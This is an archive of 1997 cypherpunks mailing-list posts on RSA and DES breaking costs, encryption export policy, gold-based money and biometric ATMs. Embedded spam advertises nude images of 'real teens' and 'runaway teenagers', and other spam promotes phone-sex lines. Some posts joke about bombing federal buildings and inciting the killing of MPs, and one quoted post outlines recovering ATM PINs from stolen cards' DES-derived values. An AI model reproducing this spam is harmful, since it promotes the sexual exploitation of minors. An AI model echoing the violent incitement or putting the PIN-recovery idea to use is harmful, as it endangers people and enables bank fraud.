Message-ID: <199706260922.KAA00427@server.test.net>




Vladimir Nuri  quotes some whistle blower:

> FRN directors are involved in a complex STOCK MANIPULATION SCHEME in
> which they are selling additional shares of the company beyond those
> in circulation, with only the hazy knowledge of the existing
> stockholders. This is being done IN COLLUSION WITH GOVERNMENT
> REGULATORS, who are receiving kickbacks from the operation! In other
> words, individual investors of FRN believe they own 1/n of the
> company, when in fact there are more shares in existence and they
> actually own far less than the fraction indicated on their
> certificates!

That scenario sounds familiar.  FRN wouldn't be FRB (Federal Reserve Board),
aka US government manipulation of the money supply to use inflation as an
invisible tax would it?  (Or any government, they all do it).

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199706262214.XAA00303@server.test.net>




Declan McCullagh  writes:
> At 23:33 +0100 6/24/97, Adam Back wrote:
> >I don't think we can explain it any more technically and expect it to
> >be useful to a journalist.
> 
> Um, some of us journalists have *gasp* taken computer science classes,
> programmed in machine code, crafted compression routines, written our own
> Unix shells, etc.
> 
> Now, I don't want to start a "who's the geekiest geek" contest, since y'all
> will win hands-down -- but I want to point out that while we may not be
> crypto-whizzes, not all of us are entirely clueless either.

Present company excluded, naturally :-)

We all know you're not clueless.  I agree with most of your articles,
usually idealogically, and technically also.  You're perhaps more of a
crypto anarchist, libertarian type fighting for the cause using
journalism as a vehicle for prosletizing than yer average 'hack anyway :-)

But the low level of crypto understanding of some journalists clearly
shows through in the articles they write, where there are garbled
facts, non-standard terminology, and complete falsities.  Half the
articles you read which mention crypto make you wince at the
innacuracies and misconceptions.  The balance given to FBI and NSA
scare stories varies also.

It's good that there are a few technically minded journalists.  I know
a few myself.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199706262151.WAA00229@server.test.net>




Peter Trei  writes:
> > [DES breaking]
>
> [useful stats]
>
> So, to summarize:
> 
> Using GNFS, on clients with 128M of memory, you could factor a 512
> bit modulus in 28,000 MIPS years. With 500,000 MIPS years, you could
> factor a 600 bit modulus.
> 
> Using QS, in 500,000 MIPS years you could factor a 512 bit modulus on
> machines with modest memory requirements.

Remarkably close to my original figure :-) (same as DES I said, you
estimate DES to be 475,000 MIPS).  So, even though GNFS is faster, if
we don't have the hardware, it'll be better to use QS because using
GNFS whilst continually paging will be even worse.

> The effects of memory speed and bandwidth would slow things down
> somewhat.

Yup.

With DES software is not at all an efficient way to break DES,
compared to a Wiener machine.  Unfortunately the press releases have
had very little to say about the true cost of breaking DES with
hardware.  

Perhaps it would be interesting to look at the economics of a well
funded attacker breaking a 512 bit RSA key.  If we asume that they
would do it in software, and had to buy the machines, would you be
better to buy fewer workstations with 128Mb or lots with 16Mb.  Factor
of 17 speed up using GNFS acording to your estimates of DES, and
Lenstra's for GNFS RSA.

So perhaps we're looking at motherboard $100, cpu $100, PSU+case $100
+ 16Mb RAM $100 = $400.  The same, but with 128Mb $1100.

So that's a 1100 / 400 = 2.75 ratio.  Clearly buying the larger memory
PCs is the way to go.

Overall GNFS is 6x cheaper it would appear.

However, really the interesting question is how much would it cost to
break RSA in hardware.  How expensive would it be to build a custom
hardware machine to break RSA.  What building blocks would be needed.
How much memory.  What would be the most efficient approach.

Would it be cost effective to use NTTs RSA chip?  What would be the
most efficient way to distribute the memory.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0


Nude Spring Break 1997!!

http://www.spring-break97.com/

Naked Teenage Girls Partying on Miami
and Ft Lauderdale Beaches!!

THOUSANDS OF ALL ORIGINAL PICTURES!!
XXX, AMATEUR, TEENS, LESBIANS, AND MORE!!!

See These Real Teens NUDE or In Little G- String Bikinis!
Fresh New Tender Breasts Barely covered!

http://www.spring-break97.com/

Special NEW Section: Nude  Runaway Teenagers!!!
 
BONUS!!!!!!!!!

 Instant Access To Over 1,800 WebSites!!
Special Voyeurism pictures, 1,000's of celebs, S and M,
teens, amateurs, gay-lesbians, XXX, older women, older guys younger girls,
Blowjobs, cumshots, free video sex, much much more!

SPRING BREAK '97

 WHAT ARE YOU WAITING FOR????????????

http://www.spring-break97.com/






From declan at pathfinder.com  Thu Jun 26 16:50:47 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Fri, 27 Jun 1997 07:50:47 +0800
Subject: NEWS.COM - Rumor Mill
Message-ID: 



Not a rumor -- it's true. Crowell was wandering around wondering what was
going on.

The excuse was that ~60 votes were scheduled on the Senate floor yesterday.

-Declan


At 14:26 -0700 6/26/97, Alan Olsen wrote:
>No Freeh lunch?
>
>
>http://www.news.com/Rumors/0,29,,00.html
>
>At the end of the article...
>
>While hackers were getting busy, the crypto honchos were
>getting dissed in D.C. Apparently, a group of bigwigs,
>including Louis Freeh of the FBI, William Crowell of NSA,
>Peter Neumann of SRI, and Ray Ozzie of Lotus, flew all the
>way out to the nation's capital for a Senate Judiciary
>Committee hearing on cryptography, only to be informed 20
>minutes before the meeting that it had been canceled.
>Grumbling ensued as the various participants stormed back
>to Dulles airport. The meeting may pick up after the July 4
>recess.








From paul at fatmans.demon.co.uk  Thu Jun 26 17:06:25 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Fri, 27 Jun 1997 08:06:25 +0800
Subject: Top ATM maker signs deal with eye-scanning technology firm
In-Reply-To: <199706251336.GAA26072@fat.doobie.com>
Message-ID: 




>    TRENTON, N.J. (June 24, 1997 9:38 p.m. EDT) -- NCR Corp., the world's
>    top maker of automated teller machines, plans to start offering
>    machines that identify the user by scanning the eye.

This is not a good idea for ATMs, I have said this many times before: 

At present unauthorised use of someones account involves stealing their 
ATM card and PIN, which is insured against if reported soon anyway. If 
biometric ID becomes commonplace theivery of this kind involves either:

1. Gouging out someones eyeball (would this actually work or would the 
damage done to the eye render it useless?)

Or, more likely:

2. Kidnapping the account holder and forcing them to ID themselves at 
gunpoint/knifepoint.


I would sure as hell rather have the inconvenience of going home and 
calling the CC company to report a stolen card, than be kidnapped and 
possible harmed for a few $.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From paul at fatmans.demon.co.uk  Thu Jun 26 17:09:17 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Fri, 27 Jun 1997 08:09:17 +0800
Subject: The Right 2 Bare Arms
In-Reply-To: <199706251900.MAA13429@fat.doobie.com>
Message-ID: 





>   My first thought was to wonder if my 18 1/2" would automatically
> make me a three-time loser and subject to lifetime imprisonment.
>   My second thought was whether there would be corresponding laws
> requiring the weapon to be "sheathed" in one locale and "in plain
> sight" in another locale.

Another example of how the law contradicts itself in many places, all 
those who carry a weapon over 6" are felons, yet you could be arrested 
for indecent exposure if you didn`t "carry concealed".

And couldn`t taking a leak in a public place be classed as unauthorised 
discharge?

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From vznuri at netcom.com  Thu Jun 26 17:47:46 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Fri, 27 Jun 1997 08:47:46 +0800
Subject: new money systems
In-Reply-To: <97Jun26.113748edt.32257@brickwall.ceddec.com>
Message-ID: <199706270040.RAA26241@netcom18.netcom.com>




>
>Gold (content) can be counterfeited, which is why it needs to be assayed
>and there are assay marks on gold bars. 

but the sheer beauty of this is that everyone can independently verify
that gold is real by doing independent assays on it. anyone in an
entire population can do so. however when a government controls the money
supply, you are relying on them to govern the scarcity of it, and not
to steal from the population using inflation. gold does not have this problem.
in fact it doesn't have to be gold, it can be *anything*-- platinum, etc.

the key thing is that as people get more of this material, like from mining
or whatever, that the economic cost of this is not low compared to the
existing supply. and, that new additions of this money going into the
system are negligible compared to the total volume. in fact anyone who
asserts "there isn't enough gold in the world to use for money" is 
marvelously ignorant of economic principles, in which it isn't the
volume but the scarcity (lack of ability to create new volume) that matters.

you see, the government can easily create new money. the government is
right now doing this every time it pays money on a bond. the greed of
the population fails to allow people to realize they are losing money
in the long run. it's guaranteed to crash periodically.

>If there is inflation, or even the hint, people will shift from dollars
>(or pounds, or yen) to something that is not inflating.  It would be
>easier to control if they didn't tax you on the inflation (which they call
>capital gains).

it's a horrible problem that virtually all government currencies are 
being inflated by design by the central banks & the governments involved.
this is done whenever they pay money for bonds, more going out than went
in.

>Try spending british pounds at a US fast food restaraunt (at least one
>that is not adjacent to a UK diplomatic building).  Then you will have to
>go to someone to do the exchange and they will charge a fee.  And then if
>you go to the UK and have to change back, there will be another fee.

fees to convert currency are currently quite negligible. and the fee is
in line with the service to do so. multiple currencies act as checks
and balances on each other, in the same way state independence does, or
should, in the US. do you want one mass amalgamation of everything?
so do various people in the UN working for "nwo".. and unifying the
currency is the key means to do so.

>Thus it is not trivial in practice.  If your money was only good for a 50
>mile radius, and you lost 3% in each exchange, going on vacation would get
>very expensive and you would then call for a universal currency, or
>convert into something like it (accepted by every locality very near par)
>before going on vacation.  But if you convert it into a universal
>currency, why not just leave it as that?

in fact you pay a small percent for every transaction you make on a credit
card that is not likely to be much larger than that involved in currency
trader fees.

>Considering the internet is international, exchange is a big problem and
>will get worse as more transactions require foreign exchange. 

exchange problem is merely one of electrons in wires. it's not a problem,
and it doesn't need to be solved. it's already been solved. only those
who wish greater control assert it is a problem, and that it needs to
be solved. they offer a false solution to a false problem. but their
propaganda is working quite well across the world.

>So although I consider autonomy a virtue, I consider trade a greater
>virtue, so local currencies are good only to the extent they promote both,
>and with the problems of currency exchange, I don't see how trade is
>enhanced by local currencies, but am interested on your thoughts on this
>point since you are more familiar with the narrow topic.

the world requires a mixture of independence and dependence. a local
currency is working toward the former, a global currency toward the 
latter. it's not either/or but a mixture situation.

>Yes, but each currency would then have to be exchanged (at a discount!) 
>and that almost every time any transaction occured.  Unless you are
>willing to exchange any amount of currency without making any profit on
>it, not even to cover expenses or fluctuations in value, this won't work -
>it is trivial to convert currency, but it is not without cost.

why should one expect to make a profit merely by exchanging currency?
there will be very low friction rates involved in the transfer. but
in fact what you get with a global currency is the sum of all these
local friction rates, in an invisible format that you can't measure.
which would you prefer? to know how much it really costs you, or to
have the fees hidden so that you have no way of knowing why what you
want costs more than it seems like it ought to?

>You can have state and local tyrants who want to manipulate the money
>supply.  

or worldwide ones. which is more dangerous? furthermore, as I have been
trying to reveal, it is possible to use a money form that is impossible
to manipulate. that is the advantage of gold that world bankers do not
wish the public to know, because it makes them free and soveriegn and
uncontrollable. hence my interest in this and my interest in promoting
it as a key cypherpunk topic.

good questions:

>In sum, I have a set of questions:  1. Why would local currencies be any
>less subject to manipulation than national currencies which suffer from
>inflation and devalutation when the consequences are the same and the
>national level can't resist? 

I am advocating a currency that is "open" in which it is public knowledge
what everyone owns in that currency. everyone can verify how much of the
currency is in circulation. people cannot use it unless they agree to
the "open" requirement. note that this is only the local currency-- a person
could have many assets not measured in it. that is, I could own far more
than is revealed on these public boards.

> 2. If they aren't going to set the value
>themselves, they will have to fix the value "permanently", since if they
>can change the peg, they can manipulate it, but if they fix the value to
>X, why won't real X be prefered to the note denominated in X.

consider a company that releases "iou [x] service" or "iou [x] product".
if there is knowledge about how many ious are out there, people can
judge for themselve the ability of the individual to repay. an individual
who has 1000 "iou" hours is more inflated than an individual with 
"100 iou hours" in circulation.

  3. As
>long as they have to pick X, if several localities pick gold as X, then
>their currencies then become the same, although having different numbers
>(e.g. 31 & change gram notes v.s. 1 troy ounce notes) - why have a dozen
>currencies which are merely different numbers representing the same amount
>of a commodity (except to manipulate later)?

local independence.  a community that is self-sustaining shouldn't be
taxed by a community that isn't, imho. this is the real message of the 
revolution of 1776 and man's century-long desire to escape slavery and tyranny.






From ravage at ssz.com  Thu Jun 26 18:05:47 1997
From: ravage at ssz.com (Jim Choate)
Date: Fri, 27 Jun 1997 09:05:47 +0800
Subject: Supreme's decisions...
Message-ID: <199706270038.TAA00815@einstein.ssz.com>




CDA...Yeah!

Assissted suicide...Boo!


    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From mnorton at cavern.uark.edu  Thu Jun 26 18:21:55 1997
From: mnorton at cavern.uark.edu (Mac Norton)
Date: Fri, 27 Jun 1997 09:21:55 +0800
Subject: Top ATM maker signs deal with eye-scanning technology firm
In-Reply-To: 
Message-ID: 



By the same token, the fingerprint system involves hacking off
at least a finger, and more likely both hands--after all, how
do you know I'm telling the truth about which finger it is?:)

Personally, biometric ATMs don't sound like a consumer-friendly
product to me.
MacN 

On Thu, 26 Jun 1997, Paul Bradley wrote:

> 
> >    TRENTON, N.J. (June 24, 1997 9:38 p.m. EDT) -- NCR Corp., the world's
> >    top maker of automated teller machines, plans to start offering
> >    machines that identify the user by scanning the eye.
> 
> This is not a good idea for ATMs, I have said this many times before: 
> 
> At present unauthorised use of someones account involves stealing their 
> ATM card and PIN, which is insured against if reported soon anyway. If 
> biometric ID becomes commonplace theivery of this kind involves either:
> 
> 1. Gouging out someones eyeball (would this actually work or would the 
> damage done to the eye render it useless?)
> 
> Or, more likely:
> 
> 2. Kidnapping the account holder and forcing them to ID themselves at 
> gunpoint/knifepoint.
> 
> 
> I would sure as hell rather have the inconvenience of going home and 
> calling the CC company to report a stolen card, than be kidnapped and 
> possible harmed for a few $.
> 
>         Datacomms Technologies data security
>        Paul Bradley, Paul at fatmans.demon.co.uk
>   Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
>        Http://www.cryptography.home.ml.org/
>       Email for PGP public key, ID: FC76DA85
>      "Don`t forget to mount a scratch monkey"
> 
> 






From azur at netcom.com  Thu Jun 26 18:30:37 1997
From: azur at netcom.com (Steve Schear)
Date: Fri, 27 Jun 1997 09:30:37 +0800
Subject: ATMs a better target (was: breaking RSA in hardware)
In-Reply-To: <199706251502.QAA24075@hermes>
Message-ID: 



At 10:51 PM +0100 6/26/97, Adam Back wrote:
>Peter Trei  writes:
>> > [DES breaking]
>>
>> [useful stats]
>Perhaps it would be interesting to look at the economics of a well
>funded attacker breaking a 512 bit RSA key.  If we asume that they
>would do it in software, and had to buy the machines, would you be
>better to buy fewer workstations with 128Mb or lots with 16Mb.  Factor
>of 17 speed up using GNFS acording to your estimates of DES, and
>Lenstra's for GNFS RSA.
>
>So perhaps we're looking at motherboard $100, cpu $100, PSU+case $100
>+ 16Mb RAM $100 = $400.  The same, but with 128Mb $1100.
>
>So that's a 1100 / 400 = 2.75 ratio.  Clearly buying the larger memory
>PCs is the way to go.
>
>Overall GNFS is 6x cheaper it would appear.
>
>However, really the interesting question is how much would it cost to
>break RSA in hardware.  How expensive would it be to build a custom
>hardware machine to break RSA.  What building blocks would be needed.
>How much memory.  What would be the most efficient approach.
>

Seems that unless future crypto breaks compromise something everybody can
appreciate, they be little lasting PR value.

Colin Plumb, colin at nyx.net, said

>I don't know if everyone is aware, but all of the ATM cards floating
aroud use DES to protect the PIN.  With ine key sealed in tamper-proof.
Wouldn't *that* be a fun key to have?

>The details are published somehwere.  Basically, you encrypt some card
info to get a 16-character hex string.  Some 4 nybbles of that, reduced
mod 10 (so 0-5 are more likely than 6-9) are the "master PIN".

>An offset from this (added per-digit, mod 10) is stored in clear on the card
to allow programmable PINs.  But most cards ship with the offset set
to 0 and the default PIN is the master PIN.

>You just need a few people with closed accounts to volunteer their
ATM cards to mag stripe readers.  The work would be somewhat greater
since you need to do multiple decryptions to get a full validation;
you'd need to do weed out the impossible in stages.

>I'm not sure if the fraud possibilities (it lets you recover the
PINs from stolen ATM cards) are worth it, but it would sure raise
a ruckus...
--
>	-Colin

The crack project should publish all schematics and source prior to the
project start and the key server should definitely be offshore, since US
regulatory agencies might step in to prevent the experiment from reaching
its conclusion.

I think one of the list's lawyers should investigate the legal risks to the
participants.  I have an account I'm willing to donate for the experiment.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!







From tcmay at got.net  Thu Jun 26 19:16:17 1997
From: tcmay at got.net (Tim May)
Date: Fri, 27 Jun 1997 10:16:17 +0800
Subject: there is no middle ground (Re: The Grand Compromise is Coming)
In-Reply-To: 
Message-ID: 



At 2:18 AM -0700 6/26/97, Adam Back wrote:

>So you might argue that this would make the privacy lobyists seem more
>middle of the road.  However crypto is binary, either it's free, or
>it's GAKked, so they (the privacy lobbyists) can't disavow crypto
>anarchy, because it's a consequence of the technology and legal frame
>work they want for privacy.  There's nothing in between.

I of course agree that there's nothing in between, and that free and full
access to strong crypto implies crypto anarchy (in some form, not
necessarily full-blown anarcho-capitalism in all areas).

I don't think massively publicizing crypto anarchy will serve to make the
privacy lobbyists "seem more middle of the road." More likely, if Congress
ever figured out what strong crypto really means, they'd ban it
immediately. And if the Supreme Court ever figured it out, they'd uphold
the ban.

>My conclusion was that the crypto anarchy conclusions are pretty much
>in line with some of the NSAs scare stories and their spin is being
>used as an argument for GAK.

I agree. The NSA, FinCEN, etc., figured out the implications the same way
we did. Maybe nobody in these agencies was very publically trumpeting them,
for various obvious reasons, and maybe not as early as some of us were
(1981-87), but they certainly reached the same conclusions in recent years.

This doesn't mean we're not in a state of war with each other, though.

They know that if we win, they lose. We know that if they win, we lose. Simple.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From paul at fatmans.demon.co.uk  Thu Jun 26 19:44:26 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Fri, 27 Jun 1997 10:44:26 +0800
Subject: Bomb Making Info to be Illegal
In-Reply-To: <199706260047.UAA15143@dhp.com>
Message-ID: 




>   Someone please put up a website teaching people how to use
> bananas to commit a crime. I want some company in prison when
> I kill 168 people with a banana.

Do you recall the old movie where a couple of mob guys killed a rival 
with a fish (shoved it down his throat and choked him on it)? I think I 
may, if I have some time in the next few days, put together a quick 
website telling people the best fish to use etc. and inciting them to use 
this as a method of assasinating MPs...

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From llurch at networking.stanford.edu  Thu Jun 26 20:55:06 1997
From: llurch at networking.stanford.edu (Rich Graves)
Date: Fri, 27 Jun 1997 11:55:06 +0800
Subject: EAR cookbook anyone?
Message-ID: 



We would like to distribute strong encryption (PGP, Netscape, MSIE,
Kerberos, SSH, lynx-ssl, etc.) to people affiliated with our institution
without prejudice to their current location, as the Fortune 100 can do with
PGP. Today I got management to agree that it would be worth my time to
ensure that we do so legally and publicly (though we had already decided to
distribute said software to new and continuing affiliates worldwide
regardless). 

There's a lot of examples of ITAR CJR's online, but I don't see any examples
of EAR whatchamacallits. Are we really going to need some lawyer for this,
or can't I just send Commerce a form letter, say, tomorrow afternoon? Form
letters my department can fill in and sign, but paying a lawyer would
require a level of bureaucracy that I'd rather not deal with.

The deadline in any case would be August 25th. 

-rich
 i'm back... if i haven't responded to your mail sent the last week and a
 half, it's probably because it just wasn't interesting. nothing personal.






From paul at fatmans.demon.co.uk  Thu Jun 26 21:01:13 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Fri, 27 Jun 1997 12:01:13 +0800
Subject: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: <199706252316.QAA23656@fat.doobie.com>
Message-ID: 





>   Simple. Design all future government buildings to match the remains
> of the Federal Building in OKC and replace the pictures of our beloved
> President with pictures of Timothy McVeigh.

Maybe we should pass a law that mandates placement of a large bomb in the 
basement all federal buildings that is triggered when the attached 
statist-meter hits 5%.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From hs at technologist.com  Thu Jun 26 22:16:09 1997
From: hs at technologist.com (hs)
Date: Fri, 27 Jun 1997 13:16:09 +0800
Subject: No Subject
Message-ID: <199706270459.AAA15625@ren.globecomm.net>










From frantz at netcom.com  Thu Jun 26 22:42:37 1997
From: frantz at netcom.com (Bill Frantz)
Date: Fri, 27 Jun 1997 13:42:37 +0800
Subject: Comparing Cryptographic Key Sizes II
In-Reply-To: <199706242233.XAA00222@server.test.net>
Message-ID: 



At 9:25 PM -0700 6/24/97, Declan McCullagh wrote:
>At 23:33 +0100 6/24/97, Adam Back wrote:
>>I don't think we can explain it any more technically and expect it to
>>be useful to a journalist.
>
>...
>
>Now, I don't want to start a "who's the geekiest geek" contest, since y'all
>will win hands-down -- but I want to point out that while we may not be
>crypto-whizzes, not all of us are entirely clueless either.

I'm not worried about the journalist-with-a-clue.  I am worried about Joe
citizen (the restless "sheepie").  I believe deep in my heart that if Joe
citizen understood the issue, he'd say, "No way am I going to let some
government bastard paw through my personal business."  Based on this
belief, I applaud Adam's attempt to explain the crypto issues in simple
language.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA







From geeman at best.com  Thu Jun 26 23:43:13 1997
From: geeman at best.com (geeman at best.com)
Date: Fri, 27 Jun 1997 14:43:13 +0800
Subject: Rep. Lofgren on McCain/Kerrey (good. long.)
Message-ID: <3.0.32.19970626233120.006c04f4@best.com>



[Congressional Record: June 25, 1997 (Extensions)]
[Page E1320]
>From the Congressional Record Online via GPO Access [wais.access.gpo.gov]
[DOCID:cr25jn97-18]

 
               ENCRYPTION BILL: AN EXERCISE IN DECEPTION

                                 ______
                                 

                            HON. ZOE LOFGREN

                             of california

                    in the house of representatives

                        Wednesday, June 25, 1997

  Ms. LOFGREN. Mr. Speaker, last week the Senate Commerce Committee 
reported a bill, S. 909, sponsored by Senators McCain and Kerrey, which 
largely embodies the latest administration proposals to deal with 
encryption technology. This misguided legislation (S. 909) would be a 
great leap backward in the effort to reform current American export 
restrictions on encryption and remove serious impediments to the 
competitiveness of our Nation's high-tech industry.
  In addition, by proposing unprecedented domestic controls on the use 
of encryption, the McCain-Kerrey bill also poses serious threats to 
fundamental civil liberties and privacy rights. I believe that the 
Senate effort is propelled largely by a lack of understanding of both 
the worldwide prevalence of strong encryption and the technical 
challenges posed by the massive key recovery-escrow infrastructure 
envisioned in the bill.
  Earlier this week, Mr. Dan Gillmore, columnist for the San Jose 
Mercury News discussed the problems with S. 909 and strongly urged a 
rejection of the McCain-Kerrey approach. I submit his column into the 
Congressional Record.

            [From the San Jose Mercury News, June 23, 1997]

          Encryption Bill: Federal Exercise in Self-Deception

                            (By Dan Gillmor)

       As a bill bearing his name zipped last week through the 
     Senate Commerce Committee he heads, Arizona Republican John 
     McCain said, ``This bill carefully seeks to balance the 
     concerns of law enforcement with individual privacy 
     concerns.''
       The legislation, co-sponsored by Nebraska Democrat Bob 
     Kerrey and two other Democrats, was the latest futile attempt 
     in Congress to achieve the impossible: compromise on an issue 
     that fundamentally has no middle ground.
       The issue is encryption, the scrambling of digital 
     information. Try as they might, lawmakers must eventually 
     understand the reality. When it comes to the privacy of 
     personal information in the digital age, we have two simple 
     choices. Either we allow people to encrypt their messages, 
     using scrambling and unscrambling ``keys'' to which only they 
     have access, or we do not.
       Governments are certain that bad people will use encryption 
     to help achieve bad ends. They're right. But their cure would 
     shred our basic liberties.
       So the Clinton administration and its allies--the McCain-
     Kerrey legislation is widely viewed as an administration-
     approved plan--are pushing a policy that would force us to 
     put descrambling keys in the hands of third parties. Then, 
     when law enforcement people wanted to see our communications, 
     they'd simply get the keys from that third party.
       The McCain-Kerrey bill pretends to stop short of that. It 
     would force government agencies to use only electronic 
     hardware and software that included this key-recovery scheme. 
     It would also require the same system for anyone using a 
     network that is funded in any way by federal funds, including 
     virtually all university networks.
       While one section calls the system ``voluntary'' for 
     private individuals, the rest of the legislation would make 
     it all but impossible to resist. Hardware and software 
     companies, which so far have resisted the government's moves, 
     will be much more likely to simply give in and build this 
     key-recovery method into all of their products if they have 
     to build it into ones bought by the government. Consumers 
     need options, not monolithic products.
       Another section of the bill would, in effect, require even 
     private citizens to use such software--and therefore give 
     their keys to the third parties--if they want to buy anything 
     online. People tend to use what they have in front of them.
       There's nothing wrong with the idea of letting a third 
     party hold onto a descrambling key in certain cases. As 
     former White House official Jock Gill noted recently on an 
     Internet mailing list, all government communications should 
     use such a system so the public can keep an eye on what the 
     government is doing in our name and with our money. We'll 
     need to create a system, of course, where such oversight 
     doesn't end up forcing the public to use exactly the same 
     technology for its own encryption needs--or at least keep 
     private keys out of the hands of centralized third parties.
       Companies, meanwhile, will need to hold onto the business-
     related keys of employees, so that vital records won't be 
     lost when someone leaves or dies. But I can't think of many 
     companies that will be happy about giving the vault keys to 
     third parties they can't control.
       Private citizens also should consider giving their keys to 
     trusted third parties, just as they give their house keys to 
     neighbors when on vacation trips. I intend to do just that--
     but it's none of the government's business who gets my 
     personal encryption key. I need strong encryption, as the 
     digital age arrives, because more and more of my life will 
     exist on these public networks.
       The practical difficulties of setting up a centralized key-
     recovery system are immense. Even if it could be done, I 
     would never trust such a government-run system to be even 
     remotely secure from corruption. I remember the Social 
     Security employees who sold personal information to 
     outsiders. I've also seen too much evidence that governments 
     tend to abuse liberties when they have too much power--and 
     the McCain-Kerrey bill would allow virtually anyone at any 
     level of law enforcement to have access to private 
     information on the flimsiest pretext, not even requiring a 
     court order.
       Kerrey's participation in this latest travesty is sad. He 
     needs no lessons in courage. He lost part of a leg in 
     Vietnam. Later, as he stood up to the know-nothings who would 
     ban flag-burning, he noted that our strength comes partly 
     from our ability to express ourselves even in ways that 
     offend many others.
       Now, however, Kerrey is aligning himself with a much more 
     dangerous crowd of know-nothings: those who'd ban our right 
     to keep private information private. He may believe this is 
     about finding common ground; if so, someone has fed him 
     falsehoods. His proposal, if enacted, would create the worst 
     invasion of our fundamental liberty in many decades.
       If you care even slightly about your privacy in the future, 
     pick up a pen today and write your Senators and member of the 
     House of Representatives. Tell them to reject the Clinton-
     McCain-Kerrey approach. Tell them you value your privacy and 
     won't give it up without a fight. And remind them that you 
     vote.

     

                          ____________________







From guy at cyberfun.ca  Fri Jun 27 14:58:38 1997
From: guy at cyberfun.ca (guy at cyberfun.ca)
Date: Fri, 27 Jun 1997 14:58:38 -0700 (PDT)
Subject: Make $$$$ with Pay-Per-Call
Message-ID: <199706272158.OAA07677@toad.com>


///////////////////////////////////////////////////////////////////////////////
This Message is Directed Towards Adult Webmasters Only!!!!!
If you wish to be removed, please reply with the subject "Remove" and this software will automatically block you from future mailings.
////////////////////////////////////////////////////////////////////////////////
Date: Fri, 27 Jun 1997 15:57:14 -0300
X-Info: Evaluation version at sun.adultpatrol.com
Message-Id: <18571424910540 at cyberfun.ca>

Hello Adult Webmaster,

I came across your website and found that you may be interested in our
services...Placing 011,800,900 PHONESEX numbers on your site!(Free to WebMasters) 

Looking to make extra income from your adult site???? You'll make $$$ 
off every minute someone calls your number. All you do is advertise 
the number on your site!  We supply you with 900, 800 or 011 number(s),
Your choice of Straight, Gay, or Fetish lines available, online call 
stats(for tracking your income) and full customer service. 
FREE FREE FREE 

NOW SUPERFAST STARTUP ONLINE:    http://www.cyberfun.ca/011numbers.html

Thanking you in advance! 

Sincerely,
Guy Boutilier
Account Executive
Rosenbrewer Communications
guy at cyberfun.ca








From mab at crypto.com  Fri Jun 27 15:02:01 1997
From: mab at crypto.com (Matt Blaze)
Date: Fri, 27 Jun 1997 15:02:01 -0700 (PDT)
Subject: Better DES challenge update
Message-ID: <199706272201.SAA25446@crypto.com>


------- Blind-Carbon-Copy

To: challenge at crypto.com
Subject: Better DES challenge update
Date: Fri, 27 Jun 1997 18:01:53 -0400
From: Matt Blaze 

The prize for solving the ``better DES challenge'' has grown to almost
$500 and continues to rise daily.  Here's the list of prize pledges I have
as of June 27; the current pot stands at 3984 bits (US $498.00).  I hope
to have a web page up sometime next week (on www.crypto.com) with the
